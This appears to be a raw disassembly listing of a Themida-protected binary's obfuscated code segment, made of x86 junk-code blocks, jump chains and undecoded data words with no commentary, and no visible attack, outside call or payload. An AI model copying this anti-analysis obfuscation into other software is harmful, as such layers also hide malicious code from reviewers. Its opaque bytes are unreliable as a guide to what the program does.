		pop	edi
		add	ebx, 59C0110Dh
		jmp	loc_582CEA
; ---------------------------------------------------------------------------
aTs		db 'ÑâéÈ-',0
		align 4
		dd 81241C8Bh, 4C4h, 4D00000h, 815A66D5h, 4ECh, 24148900h
		dd 0C281E289h, 4, 4BF57h, 0FA290000h, 3474E9h, 95E95A00h
		dd 58FFFFF1h, 0E9C39D61h, 0FFFFC2C1h, 242CD366h, 0C2B7E99Ch
		dd 0B2E9FFFFh, 5EFFFFC2h, 5FE3E9h
		db 0
; ---------------------------------------------------------------------------


loc_58561D:				; CODE XREF: Themida_:00582E4Aj
		push	3D26h
		jmp	loc_585F01
; ---------------------------------------------------------------------------
		db 5
		dd 4, 6BC968h, 24348900h, 0C61106BEh, 0C3CE8135h, 5332ED5Ch
		dd 323C37BBh, 5BDE3166h, 61F4F681h, 0F00151DDh,	8124348Bh
		dd 4C4h, 24043300h, 0E9240431h,	0FFFFE8F1h, 54242C89h
		dd 6853525Dh, 92F660Dh,	0A5EB815Bh, 815E942Ah, 64C49CC3h
		dd 8B5A5355h, 0C481241Ch, 4, 505AD501h,	4BD55h,	81550000h
		dd 10B6242Ch, 5581A87h,	1A8710B6h, 0FFED4FE9h, 59C801FFh
		dd 8904EC83h, 5BE2434h,	0E942E73Ch, 69A8h, 592434FFh, 567FE952h
		dd 0BD550000h, 0A300D5Dh, 0A0EC581h, 0F7551357h, 815D2414h
		dd 0A832CCF5h, 0ED814D1Bh, 0F9D0DA53h, 55DE801h, 2, 31240433h
		dd 0EE92404h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5856F3:				; CODE XREF: Themida_:005858D4j
		shl	ch, 3
		jmp	loc_5845C6
; ---------------------------------------------------------------------------
		db 66h
		dd 5024048Bh, 405E089h,	0E9000000h, 0FFFFF93Dh,	66CD05ADh
		dd 0D82930ADh, 0F420E952h, 148BFFFFh, 0FD26E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_585722:				; CODE XREF: Themida_:00588D2Aj
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 7Ah
		dd 1019811h, 0BD5552C3h, 830308Eh, 92F5C0BAh, 8BEA0106h
		dd 0C483242Ch, 0DDCA8104h, 0E9704311h, 1F2Fh, 2D59C809h
		dd 26FD4F15h, 0E958C501h, 0FFFFE548h, 24148B58h, 0E904C483h
		dd 6262h
; ---------------------------------------------------------------------------


loc_58577C:				; CODE XREF: Themida_:0058661Aj
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_584C0C
; ---------------------------------------------------------------------------
		dw 0F001h
		dd 89E9505Eh, 55FFFFCDh, 7272E9h, 4B85000h, 1000000h, 58042444h
		dd 0E924148Bh, 7EB0h, 0F304C483h, 386203A5h, 0BD555357h
		dd 435416CFh, 7068E9h, 47F98700h, 0C181F987h, 1AC87E71h
		dd 4930E9h, 24348900h, 4732BA52h, 0F7925D3Ch, 0CBE992D0h
		dd 66FFFFCFh, 0A2C59h, 5A0A04D0h, 5C3E68h, 240C8900h, 0D7E9A1B5h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5857F7:				; CODE XREF: Themida_:00587D57j
		push	22B8h
		mov	[esp], esi
		push	24F5h
		mov	[esp], ebx
		sub	dword ptr [esp], 56B24D25h
		pop	esi
		add	esi, 56B24D25h
		push	esi
		jmp	loc_582344
; ---------------------------------------------------------------------------


loc_58581B:				; CODE XREF: Themida_:0058B215j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], esi
		not	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_588A9E
; ---------------------------------------------------------------------------
		db 1
		dd 0C3835EF3h, 241C8704h, 0E86CE95Ch, 2DBAFFFFh, 815A3625h
		dd 0E5FBFCAh, 81DAF729h, 0F27D4EC2h, 0A7EA8116h, 0C141491Ch
		dd 0F28103EAh, 44DC7CE9h, 0E95AD621h, 5F31h, 83243C8Bh
		dd 0EA8304C4h, 24148704h, 2404895Ch, 1829A3B8h,	4EC810Ch
		dd 0E9000000h, 0FFFFFA21h, 0B7EAE05h, 2DD8F73Ch, 0B14D98B7h
		dd 5E9AC581h, 0EDE90F93h, 89FFFFD4h, 596CE9E0h,	0DF290000h
		dd 8BF9895Bh, 0F6E9243Ch, 29000046h, 0D9AAE9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5858C2:				; CODE XREF: Themida_:0058197Fj
		pop	eax
		jmp	loc_588352
; ---------------------------------------------------------------------------


loc_5858C8:				; CODE XREF: Themida_:00588E19j
		xor	ch, al
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5856F3
; ---------------------------------------------------------------------------
		db '\h% ',0
		dw 8900h
		dd 65E9242Ch, 52000016h, 0D388E288h, 208DE9h, 52555A00h
		dd 3E052E68h, 24148B2Ah, 4C481h, 0E2C10000h, 3EAC103h
		dd 0EA81D2F7h, 0F5C1FACDh, 148BD589h, 4C48124h,	1000000h
		dd 0FF575DEFh, 5F042474h, 0E924048Fh, 4E6Dh, 0E2C1D2F7h
		dd 5EF28106h, 29F05114h, 0FB295AD7h, 83243C8Bh,	0E95504C4h
		dd 0FFFFD0C9h, 59658FB8h, 25E9522Eh
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_585953:				; CODE XREF: Themida_:0058D160j
		sub	ebx, ebp
		pop	ebp
		sub	eax, 2BE56FB5h
		sub	eax, ebx
		add	eax, 2BE56FB5h
		pop	ebx
		push	ecx
		mov	ecx, 5388FFFEh
		xor	eax, ecx
		pop	ecx
		jmp	loc_584857
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 0D21DE2EDh, 80C58118h, 50738266h,	851309B8h
		dd 0E9D8F772h, 51D9h, 3B11EF81h, 348B1609h, 3351E924h
		dd 4890000h, 711B824h, 0B951026Ch, 2A2206ECh, 4AF5F181h
		dd 0A9E90CF7h, 66FFFFFDh, 66CCB60Fh, 0E93EAB68h, 3161h
; ---------------------------------------------------------------------------


loc_5859C4:				; CODE XREF: Themida_:005837C7j
		pop	edi
		push	dword ptr [esp]
		pop	esi
		push	ebp
		mov	ebp, esp
		jmp	loc_58A2B0
; ---------------------------------------------------------------------------


loc_5859D1:				; CODE XREF: Themida_:0058A42Fj
		add	esp, 4
		jmp	loc_582B99
; ---------------------------------------------------------------------------
		dd 0C105E6C1h, 0F75604EEh, 0EE92414h, 81000082h, 4ECh
		dd 241C8900h, 0FFEFF2E9h, 41B951FFh, 525BC731h,	0D11343BAh
		dd 0E9D2F76Ah, 0FFFFD72Dh, 5024148Bh, 405E089h,	83000000h
		dd 48704C0h, 0DA315C24h, 5AD0015Bh, 0C417D605h,	2DD80111h
		dd 11C417D6h, 2A31BE56h, 0F0294F82h, 1CE4E95Eh,	0FEBB0000h
		dd 550D3E7Eh, 5FA8E9h
		db 0
; ---------------------------------------------------------------------------


loc_585A49:				; CODE XREF: Themida_:00582C96j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	eax
		mov	eax, 1
		mov	edi, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_58CA9D
; ---------------------------------------------------------------------------


loc_585A66:				; CODE XREF: Themida_:00585C26j
		sub	eax, ebx
		pop	ebx
		push	eax
		jmp	loc_58BC93
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EF8108E7h, 395A1CFCh, 540E9h, 0E9D6F600h, 8351h, 4C4835Ah
		dd 0FFD074E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_585A8D:				; CODE XREF: Themida_:0058BD5Bj
		push	ebp
		jmp	loc_581F90
; ---------------------------------------------------------------------------
		db 83h
		dd 48F04C4h, 3F7AE924h,	0EC830000h, 241C8904h, 5B42E9h
		dd 0BE1BE900h, 8966FFFFh, 0BA662414h, 29665D76h, 665A66D1h
		dd 6659C801h, 51241C8Bh, 0C181E189h, 4,	8702C183h, 0FCE9240Ch
		dd 81000066h, 7D781FC6h, 1DEE8151h, 1C18198h, 24348BF0h
		dd 0FFF4FCE9h, 243C89FFh, 8320E9h
		db 0
; ---------------------------------------------------------------------------


loc_585AF5:				; CODE XREF: Themida_:00582BB6j
		mov	edi, 5CB06DCBh
		jmp	loc_58DB7B
; ---------------------------------------------------------------------------
		db 5Bh
		dd 5202C283h, 42474FFh,	4F9FE9h, 24048B00h, 815D5455h
		dd 4C5h, 3E52E900h, 74BA0000h, 1549252h, 0E9295AD5h, 24048B5Dh
		dd 5704C483h, 0A104A4BFh, 0A0F78158h, 0E958A104h, 4CABh
		dd 8878B450h, 0CA8858E1h, 83240C8Bh, 9CE904C4h,	56000044h
		dd 12010EBEh, 2481E908h, 0C4830000h, 0BD63E904h, 875DFFFFh
		dd 248B2434h, 0BD57E924h, 8159FFFFh, 7562ACEAh,	0BD4BE937h
		dd 3C89FFFFh, 21106824h, 24890000h, 4BE5624h, 1000000h
		dd 5E042474h, 0E9243C8Bh, 0FFFFF432h, 2D64F381h, 0EB817CBEh
		dd 6B7D799Ah, 8E4CEB81h, 0D80126CBh, 56241C8Bh,	0C681E689h
		dd 4, 8704C683h, 0E95C2434h, 0FFFFBED6h, 48BE188h, 4C48124h
		dd 0E9000000h, 0FFFFC30Eh
; ---------------------------------------------------------------------------


loc_585BD8:				; CODE XREF: Themida_:005899AAj
		add	ecx, ebp
		pop	ebp
		jmp	loc_5897B0
; ---------------------------------------------------------------------------


loc_585BE0:				; CODE XREF: Themida_:0058CFB4j
		mov	ecx, [esp]
		add	esp, 4
		and	ecx, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shr	ecx, 0Bh
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 5DB85E93h
		and	ebx, 583D7C2Fh
		neg	ebx
		inc	ebx
		sub	ebx, 6E20C78h
		not	ebx
		add	ebx, 0A0E5978Bh
		jmp	loc_585A66
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 0BB3E9h
		db 0
; ---------------------------------------------------------------------------


loc_585C39:				; CODE XREF: Themida_:00589B6Aj
		add	al, 1Bh
		sub	al, bl
		sub	al, 1Bh
		push	ebx
		mov	bl, 0D2h
		jmp	loc_58297A
; ---------------------------------------------------------------------------
		db 89h
		dd 0F463E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_585C4E:				; CODE XREF: Themida_:0058237Bj
		sub	ecx, ebx
		sub	ecx, 55CB2221h
		pop	ebx
		jmp	loc_582E35
; ---------------------------------------------------------------------------
		dd 4BBh, 5BDD0100h, 0E904C583h,	31DBh, 0F180C9FEh, 43DAE935h
		dd 0C1810000h, 4, 3BE0BA52h, 0DAF763BFh, 5605E2C1h, 188404BEh
		dd 0E9F23188h, 1668h
; ---------------------------------------------------------------------------


loc_585C94:				; CODE XREF: Themida_:0058416Bj
		mov	[esp], esi
		push	ecx
		jmp	loc_58B72C
; ---------------------------------------------------------------------------
		db 0ACh, 0E9h, 0Ah
		dd 81FFFFC4h, 3716E0F7h, 81C8E90Bh, 555E0000h, 0C14D1EBDh
		dd 35ED817Ah, 5553C118h, 0FFE91AE9h, 0BC03E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_585CC6:				; CODE XREF: Themida_:00582980j
		push	edx
		mov	dh, 2Eh
		sub	dh, 1Ah
		sub	al, dh
		pop	edx
		sub	esp, 2
		jmp	loc_587B50
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 0B2667BEBh, 0E9C30136h, 58A6h, 0ACB68h, 5416E900h, 348B0000h
		dd 4C48324h, 0C681DEF7h, 485A248Ah, 0FFEBE3E9h,	0C8B66FFh
		dd 0E2895224h, 2DFEE9h,	4C48300h, 4EC81h, 52E90000h, 0ADFFFFBFh
		dd 14AD68h, 24148900h, 0F60DA4BAh, 6ABBE92Bh, 93BB0000h
		dd 81380541h, 631FAFC3h, 0E9D931EBh, 0FFFFC734h, 5C241C87h
		dd 8904EC83h, 8682414h,	8900000Ch, 0B652240Ch, 5AF188A9h
		dd 0F659CA88h, 3DC280D2h, 28EDB353h, 30E95BDAh,	41h, 5B4E2CD8h
		dd 4B5B151h, 0C2B551A3h, 808BC580h, 0CDFE1EF5h,	81C580h
		dd 0C80059E8h, 785E9h, 0E9F90100h, 4F00h, 0FF1C7721h, 34FF2434h
		dd 0D65E924h, 0E9500000h, 31C9h
; ---------------------------------------------------------------------------


loc_585DAC:				; CODE XREF: Themida_:0058557Fj
		push	ebp
		push	edx
		mov	edx, 5FF12E15h
		xor	edx, 62153AC6h
		push	ecx
		mov	ecx, 3A642ED0h
		neg	ecx
		shr	ecx, 8
		sub	ecx, 0CAD47D9Bh
		jmp	loc_58462D
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFBAF5h, 5E2434FFh, 0E904C483h, 0FFFFBAE9h, 396859h
		dd 34890000h, 4BE24h, 0B8500000h, 6A492EE8h, 158C129h
		dd 49BF57F1h, 0F71B1510h, 0CFB951DFh, 0E97AA1C0h, 0FFFFCCA4h
		dd 0C218E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_585E12:				; CODE XREF: Themida_:00589CD9j
		and	edi, 378A723Ah
		sub	edi, 3F9520E7h
		xor	edi, 54C25351h
		xor	esi, edi
		pop	edi
		add	edx, esi
		jmp	loc_588D24
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 81242C8Bh
		dd 4ECh, 240C8900h, 0C181E189h,	4, 8704C183h, 875C240Ch
		dd 14F753DDh, 0DD875B24h, 3883E9h, 24540100h, 56515704h
		dd 5145B268h, 0E8E95E32h, 8B000034h, 0E3E92414h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_585E87:				; CODE XREF: Themida_:00588D3Dj
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_589529
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4C08304h, 5C240487h,	31242C33h, 2C33242Ch, 34FF5C24h
		dd 548AE924h, 0E95F0000h, 76B0h, 6624248Bh, 8124048Bh
		dd 4ECh, 2789E900h, 3C8B0000h, 4C48124h, 0E9000000h, 1C23h
		dd 5C24048Fh, 0E9240489h, 169h,	223091BEh, 5EF30905h, 5C33E9h
		db 0
; ---------------------------------------------------------------------------


loc_585EF9:				; CODE XREF: Themida_:00587B85j
		mov	[esp], esi
		jmp	loc_583AFD
; ---------------------------------------------------------------------------


loc_585F01:				; CODE XREF: Themida_:00585622j
		mov	[esp], eax
		jmp	loc_58C5B4
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 615F1E75h, 75EF815Fh, 0E9615F1Eh, 0FFFFEFCFh, 6E0104BEh
		dd 20E95002h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_585F27:				; CODE XREF: Themida_:00581ADFj
		pop	edi
		jmp	loc_5845B9
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 4C68300h, 31243433h, 34332434h, 0F10EE924h, 295AFFFFh
		dd 24148BD1h, 5304C483h, 7AB3BF57h, 0DFF70FC3h,	2757CF81h
		dd 0EFC16A7Fh, 6DF78103h, 47492314h, 8E8BEF81h,	5B57DD7Ch
		dd 8BD8015Fh, 0C481241Ch, 4, 0BF57C829h, 23FE79B1h, 0EF81474Fh
		dd 39CE142Eh, 12C78147h, 812A1E10h, 0BE246AF7h,	5FF8296Ch
		dd 2BC38159h, 0E976645Fh, 4960h, 1630E95Ah, 77FF0000h
		dd 59669D1Ch, 9C2414D2h, 0FFB90CE9h, 5FF989FFh,	8359CA01h
		dd 0FF5204C2h, 5A042474h, 0FFCD9DE9h, 8BB53FFh,	894D697Fh
		dd 64B9E9DEh, 0EC830000h, 24148904h, 0FFBF92E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_585FE9:				; CODE XREF: Themida_:0058C5B7j
		mov	ah, bh
		pop	ebx
		mov	bh, ah
		jmp	loc_58C2B7
; ---------------------------------------------------------------------------
		db 5Ah
		dd 5C240C87h, 4FDE68h, 24148900h, 0C1E9F289h, 2D000017h
		dd 0D28E1898h, 8158C501h, 0C826A6C5h, 0BF575E6Ah, 0
		dd 4CBDEF81h, 0EF2964AEh, 4CBDC781h, 0FD8764AEh, 1EAE9h
		db 0
; ---------------------------------------------------------------------------


loc_586031:				; CODE XREF: Themida_:0058BE56j
		inc	esi
		add	esi, 0C3BCA9EAh
		add	eax, esi
		mov	esi, [esp]
		jmp	loc_58DE61
; ---------------------------------------------------------------------------
		dw 0E94Bh
		dd 0FFFFFB54h, 7D72E95Fh, 0F9010000h, 166FE9h, 0B86FE900h
		dd 0F188FFFFh, 0CA88525Ah, 595AD488h, 58E3885Bh, 0FFCC2EE9h
		dd 2474FFFFh, 48F5F04h,	2109E924h, 0E2890000h, 4C281h
		dd 0EA830000h, 24148704h, 2404895Ch, 344FC368h,	0C209582Ah
		dd 234BE9h, 59CA0100h, 12F6BF57h, 0D7F71B32h, 30CDE781h
		dd 0EF817A92h, 28B70DC2h, 0E95FFA31h, 7A6Ch, 8B2434FFh
		dd 0C483243Ch, 4C48104h, 8F000000h, 248B2404h, 14896624h
		dd 9C506624h, 0FFB7F0E9h, 17B551FFh, 0F6FFC580h, 0F6CDFED5h
		dd 8E5C0DDh, 28C7ED80h,	240C8BEBh, 24D5E9h, 0E9C58900h
		dd 79h,	9C240420h, 0FFB7C4E9h, 0C8B66FFh, 48366824h, 1C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58BCBA
; ---------------------------------------------------------------------------
		dw 5650h
		dd 7A6C9768h, 0F6815E7Dh, 5D5A4447h, 355EF089h,	5D375415h
		dd 6EE9C689h, 5F000072h, 99BA525Bh, 0E927C844h,	168h
; ---------------------------------------------------------------------------


loc_586150:				; CODE XREF: Themida_:0058C962j
		mov	eax, 7796A3EAh
		mov	edi, eax
		jmp	loc_5862CB
; ---------------------------------------------------------------------------
		dd 8F23F005h, 2A10E90Eh, 0C870000h, 14895C24h, 5362B624h
		dd 0FFBEC0E9h, 246F89FFh, 0FFEB6EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58617D:				; CODE XREF: Themida_:00589F9Aj
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4EC8100h, 0E9000000h, 0FFFFF806h, 0AA66AFBFh
		dd 3910E953h, 0EC810000h, 4, 89243489h,	0BF5751E6h, 25B455A2h
		dd 0FFE172E9h, 12BD55FFh, 1607206h, 242C8BEFh, 4C481h
		dd 0C7010000h, 612EF81h, 83E96072h, 0C1000004h,	0EBC108E3h
		dd 814B4B08h, 4D74BBCBh, 689EE947h, 34330000h, 24248B24h
		dd 24042966h, 0B6CFE99Ch, 5758FFFFh, 4EC81h, 21E90000h
		dd 0FFFFEAh, 0DBED80DDh, 3969E95Bh, 0C870000h, 8CE95C24h
		dd 5F00003Eh, 2FDEE9h
		db 0
; ---------------------------------------------------------------------------


loc_586221:				; CODE XREF: Themida_:005888B4j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 1
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	edx
		jmp	loc_582747
; ---------------------------------------------------------------------------
aFpsj		db 'fPé¦',0
		dd 2C8B0000h, 4C48124h,	83000000h, 80E904C0h, 0B8000034h
		dd 6DFC4ABAh, 0E9FFC083h, 0B24h, 8324048Bh, 40504C4h, 68000000h
		dd 3507h, 0FFCF92E9h, 0FD3B8FFh, 36356DDCh, 0C12CBA00h
		dd 6B0508E8h, 0E91BB001h, 5E3Dh, 2414F752h, 0E92404FFh
		dd 59BFh, 90E9E389h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5862CB:				; CODE XREF: Themida_:00586157j
		pop	eax
		sub	edi, ebx
		pop	ebx
		xor	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58AE32
; ---------------------------------------------------------------------------
		db 0BFh, 30h, 6
		dd 0F7812187h, 65267E5Dh, 2498F781h, 0EF8153EAh, 23A9629Ah
		dd 0F8E9h, 240C8B00h, 4C481h, 0A9E90000h, 89FFFFE4h, 0E9542404h
		dd 0FFFFFF78h, 67E998B0h, 8B000045h, 89522424h,	4C281E2h
		dd 81000000h, 4C2h, 0EB08E900h,	0C483FFFFh, 3E43E904h
		dd 0EBC10000h, 9AC38108h, 21508CEFh, 0DCA3E9DAh, 4B2CFFFFh
		dd 5251D800h, 586804B2h, 8900002Ah, 3CB3241Ch, 0C0B1EB80h
		dd 0B9E902EBh, 8B00006Eh, 0D3662424h, 0E99C2424h, 0FFFFB555h
; ---------------------------------------------------------------------------


loc_586374:				; CODE XREF: Themida_:00587DC5j
		mov	edx, 33CA3485h
		and	edx, 59D14F96h
		jmp	loc_58893F
; ---------------------------------------------------------------------------
		dd 51C2015Fh, 0EB52E2B9h, 0A7B8506Bh, 0E92B3C63h, 173Eh
		dd 2474FF56h, 48F5E04h,	0C875C24h, 24248B24h, 0BF243C89h
		dd 2, 1739EE81h, 0FE014017h, 1739C681h,	3DE94017h, 66000027h
		dd 0E9240C8Bh, 0F17h, 52242489h, 6649BD55h, 4DBA34DCh
		dd 0E934DC66h, 1822h, 0C581E589h, 4, 1D38E9h, 241C8700h
		dd 31A4E9h, 0AEC78100h,	3162A730h, 0CD215FF9h, 2AE94D59h
		dd 0B7000031h, 8BF828DFh, 0C483241Ch, 0E9692C04h, 0FFFFF0AFh
		dd 5BDE295Ah, 2AE9F201h, 4FFFFD2h, 4D0F65Fh, 74C9E925h
		dd 53660000h, 0CDE9D388h, 0BAFFFFC3h, 2, 749C181h, 0AFE96FCEh
		dd 0AC00000Bh, 61E468h,	24148900h, 0DEF667B6h, 6CB75350h
		dd 0CF80D7F6h, 31F780F1h, 665BFC88h, 1199E953h,	0B9510000h
		dd 130651D0h, 0C3E9CA31h, 5B00000Ah, 34FFEE30h,	0C4815924h
		dd 4, 0FFBCCFE9h, 59CA29FFh, 6FD4E951h,	0E2890000h, 0C7A0E955h
		dd 0EE81FFFFh, 60306A57h, 8DE9EE01h, 0E9FFFFE1h, 0FFFFB41Dh
		dd 0D6E95557h, 0BFFFFFC9h, 4, 4247C01h,	0E1E95E5Fh, 5BFFFFC1h
		dd 0FFEC60E9h, 243489FFh, 42474FFh, 0FFDB97E9h,	88DC88FFh
		dd 1C8B58E1h, 4C48124h,	50000000h, 0E788CC88h, 5224048Bh
		dd 0C281E289h, 4, 8704C283h, 0E95C2414h, 239Bh,	0F724248Bh
		dd 0E28952F1h, 0C20AE956h, 48BFFFFh, 5589E924h,	0D32C0000h
		dd 0AE9A32Ch, 0ADFFFFCCh, 2335C681h, 0C6016493h, 4EC81h
		dd 3C890000h, 17CBE924h, 0C6810000h, 22E06188h,	8BE9565Ah
		dd 29000035h, 26E981D9h, 8104B807h, 6D5C98C1h, 0F9E95B57h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_586557:				; CODE XREF: Themida_:0058BCB5j
		sub	edx, 69585D81h
		add	edx, eax
		add	edx, 69585D81h
		pop	eax
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	2DBDh
		mov	[esp], edx
		push	ecx
		mov	ecx, 50D71EFDh
		mov	edx, 1B6B034Fh
		add	edx, ecx
		jmp	loc_589DD0
; ---------------------------------------------------------------------------
		db 5Ch
		dd 4AB0F66h, 0D2E99C24h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_586593:				; CODE XREF: Themida_:005820EBj
		jmp	loc_5818C9
; ---------------------------------------------------------------------------
		dd 295BDE89h, 24348BF3h, 6604C483h, 38E9008Fh, 5200002Fh
		dd 42474FFh, 24048F5Ah,	2434FF5Ch, 582434FFh, 4C481h, 0E9530000h
		dd 4583h, 2474FF56h, 24348B04h,	0E904C483h, 3895h, 5C241C87h
		dd 5D71E9h
		db 0
; ---------------------------------------------------------------------------


loc_5865E1:				; CODE XREF: Themida_:0058673Bj
		sub	ecx, 5AF5740Eh
		sub	ecx, 3FD22A1h
		sub	ecx, 6927B0Fh
		add	ecx, edx
		add	ecx, 6927B0Fh
		add	ecx, 3FD22A1h
		add	ecx, 5AF5740Eh
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]


loc_586614:				; CODE XREF: Themida_:loc_58669Dj
		sub	esp, 4
		jmp	loc_58577C
; ---------------------------------------------------------------------------
aLSxi		db '‹$$é•I',0
		dw 0B500h
		dd 0E92BE90Eh, 0EC81FFFFh, 4, 41A8E9h, 4EC8100h, 89000000h
		dd 5EBD242Ch, 292A1805h, 0C2815DEAh, 14D1294Dh,	148BD301h
		dd 66EEE924h, 48B0000h,	6A9FE924h, 0C6830000h, 24348704h
		dd 24048F5Ch, 0AB0F665Ch, 0E99C2404h, 1232h, 0E904EC83h
		dd 53E1h, 75C4E95Dh, 0CB90000h,	31692E30h, 24148BD1h, 4C481h
		dd 0D1310000h, 2BE8E9h
		db 0
; ---------------------------------------------------------------------------


loc_58669D:				; CODE XREF: Themida_:0058B333j
		jmp	loc_586614
; ---------------------------------------------------------------------------


loc_5866A2:				; CODE XREF: Themida_:0058B69Cj
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		jmp	loc_58DAA1
; ---------------------------------------------------------------------------
		dw 5351h
		dd 0FFB94FE9h, 8BD801FFh, 0C481241Ch, 4, 1FE3BE56h, 74011D6Dh
		dd 815E0424h, 4042404h,	77E9484Ch, 5900000Ch, 8244481h
		dd 4E791D99h, 8247C29h,	8246C81h, 4E791D99h, 0EF03E95Fh
		dd 0DD31FFFFh, 83241C8Bh, 0F58104C4h, 90C4A2AFh, 38E9EB89h
		dd 49000008h, 0FBCFE957h, 8C68FFFFh, 89000022h,	4AE92424h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58671F:				; CODE XREF: Themida_:00581F42j
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 35E860FFh
		push	ecx
		mov	ecx, 35E860FBh
		xor	edx, ecx
		pop	ecx
		jmp	loc_5865E1
; ---------------------------------------------------------------------------
		dd 4230FF68h, 2CE95F08h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58674B:				; CODE XREF: Themida_:0058869Cj
		add	esp, 4
		add	esi, 4
		push	ebx
		mov	ebx, 2
		sub	esi, 22CF7A09h
		jmp	loc_5876DE
; ---------------------------------------------------------------------------


loc_586768:				; CODE XREF: Themida_:00587759j
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58BB76
; ---------------------------------------------------------------------------


loc_586779:				; CODE XREF: Themida_:0058A557j
		pop	eax
		sub	ebp, edx
		pop	edx
		xor	ebp, 35FE410Bh
		shr	ebp, 3
		xor	ebp, 586308D5h
		sub	edi, ebp
		pop	ebp
		xor	[esp+4], edi
		jmp	loc_58B5E2
; ---------------------------------------------------------------------------
		dd 6824248Bh, 6217h, 6BEAE9h, 89515900h, 4C181E1h, 68000000h
		dd 1E6Fh, 0BA241489h, 4, 30E9D101h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5867C3:				; CODE XREF: Themida_:0058733Aj
		push	0AE1h
		mov	[esp], ebx
		push	edi
		mov	edi, 76D60365h
		mov	ebx, edi
		pop	edi
		shr	ebx, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 7656036h
		xor	ebx, edx
		pop	edx
		push	ebx
		pop	esi
		jmp	loc_581A0B
; ---------------------------------------------------------------------------
		dd 0E42BBC2Dh, 3AA80509h, 0E82924BCh, 0BC3AA82Dh, 2BBC0524h
		dd 91E909E4h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_586807:				; CODE XREF: Themida_:005848A4j
		xor	dword ptr [esp], 6677532Bh
		mov	edx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_5833ED
; ---------------------------------------------------------------------------
aRVsr		db 'R¶¢éR!',0
		dd 59CF8800h, 80C7FE5Ah, 0E95267CFh, 5455h, 815FFB29h
		dd 4ECh, 241C8900h, 42474FFh, 5B2434FFh, 3A04E955h, 59660000h
		dd 3058E630h, 800E9F0h,	6AE90000h, 54FFFFB0h, 4C6815Eh
		dd 0E9000000h, 56D3h, 0EB803EB2h, 66D32849h, 49B450h, 5A5866E3h
		dd 0F95EB80h, 34FFC0B6h, 2434FF87h, 4659E9h, 0FF505E00h
		dd 8B042474h, 0C4812404h, 4, 8B24048Fh,	66642424h, 1EE90289h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5868AB:				; CODE XREF: Themida_:0058B3E5j
		mov	[esp], ebp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_584B6C
; ---------------------------------------------------------------------------
